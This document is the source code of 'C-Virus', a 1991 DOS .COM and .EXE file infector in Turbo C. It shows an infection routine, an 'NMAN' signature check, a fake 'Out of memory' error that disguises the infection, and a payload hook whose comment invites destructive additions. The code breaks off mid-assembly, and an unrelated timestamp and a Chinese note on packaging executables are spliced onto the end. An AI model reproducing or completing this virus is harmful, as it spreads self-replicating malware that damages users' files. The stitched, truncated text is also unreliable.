/* C-Virus: A generic .COM and .EXE infector
Written by Nowhere Man
Project started and completed on 6-24-91
Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/
#pragma inline // Compile to .ASM
#include
#include
#include
#include
#include
void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);
#define DEBUG
#define ONE_KAY 1024 // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
#define SIGNATURE "NMAN" // Sign of infection
int main(void)
{
/* The main program */
spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}
void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */
small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}
int infected(char *fname)
{
/* This function determines if fname is infected */
FILE *fp; // File handle
char sig[5]; // Virus signature
fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}
void small_print(char *string)
{
/* This function is a small, quick print routine */
asm {
push si
mov si,string
mov ah,0xE
}
2022-10-26 10:39:40
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使用exe4j Wizard打包exe，
使用inno setup将exe打包为安装程序
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